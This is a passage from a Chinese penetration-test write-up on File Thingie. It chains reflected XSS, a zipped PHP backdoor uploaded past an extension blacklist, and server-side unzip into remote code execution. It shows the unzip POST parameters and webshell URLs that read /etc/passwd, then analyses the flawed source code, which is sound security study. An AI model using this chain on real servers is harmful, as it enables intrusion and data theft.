针对File Thingie从XSS到文件上传再到RCE的渗透过程
来源:岁月联盟
时间:2020-01-29
POST参数如下所示:
newvalue=backdoor.zip&file=backdoor.zip&act=unzip
从下图中可以看出,后门文件backdoor.php在Test目录下解压成功:
3.执行任意代码:
在后门文件解压成功之后,渗透测试可以说是基本已经成功,下面就是执行定制代码。通过构造如下URL,查看/etc/passwd的内容:
http://192.168.188.155/filethingie/Test/backdoor.php?cmd=cat%20/etc/passwd
/etc/passwd的内容如下图所示:
构造URL查看/proc/version的内容,URL如下所示:
http://192.168.188.155/filethingie/Test/backdoor.php?cmd=cat%20/proc/version
/proc/version的内容如下图所示:
漏洞分析
1.第一段源代码具体如下所示:
$('#filelist').ft_filelist({
fileactions: ft.fileactions,
rename_link: "",
move_link: "",
del_link: "",
duplicate_link: "",
unzip_link: "",
chmod_link: "",
symlink_link: "",
rename: "",
move: "",
del: "",
del_warning: "",
del_button: "",
duplicate: "",
unzip: "",
unzip_button: "",
chmod: "",
symlink: "",
directory: "",
ok: "",
formpost: "",
advancedactions: ""
});
其中,语句directory: “”,没有对通过get方式获取到的dir参数进行任何过滤,直接就回显给了客户端,那么就导致了反射型XSS的产生。
2.第二段源代码具体如下所示:
$ft["settings"]["FOLDERBLACKLIST"] = "plugins js css locales data";
$ft["settings"]["FILETYPEBLACKLIST"] = "php phtml php3 php4 php5";
$ft["settings"]["FILETYPEWHITELIST"] = "";
$ft["settings"]["ADVANCEDACTIONS"] = FALSE;
$ft["settings"]["LIMIT"] = 0;
$ft["settings"]["REQUEST_URI"] = FALSE;
$ft["settings"]["HTTPS"] = FALSE;
$ft["settings"]["REMEMBERME"] = FALSE;
$ft["settings"]["PLUGINDIR"] = 'plugins';
其中,语句$ft["settings"]["FILETYPEBLACKLIST"] = “php phtml php3 php4 php5″;定义了限制上传的文件类型,包括php、phtml、php3、php4以及php5,因此之前上传1.php失败;但是并未限制zip文件的上传,因此backdoor.zip上传成功。
3.第三段源代码具体如下所示:
elseif ($_REQUEST['act'] == "unzip" && ft_check_fileactions() === TRUE) {
// Check that file is set.
$file = ft_stripslashes($_REQUEST['file']);
if (!empty($file) && ft_check_file($file) && ft_check_filetype($file) && strtolower(ft_get_ext($file)) == 'zip' && is_file(ft_get_dir()."/".$file)) {
$escapeddir = escapeshellarg(ft_get_dir()."/");
$escapedfile = escapeshellarg(ft_get_dir()."/".$file);
if (!@exec("unzip -n ".$escapedfile." -d ".$escapeddir)) {
ft_set_message(t("!old could not be unzipped.", array('!old' => $file)), 'error');
ft_redirect("dir={$_REQUEST['dir']}");
} else {
ft_set_message(t("!old unzipped.", array('!old' => $file)));
上一页 [1] [2] [3] 下一页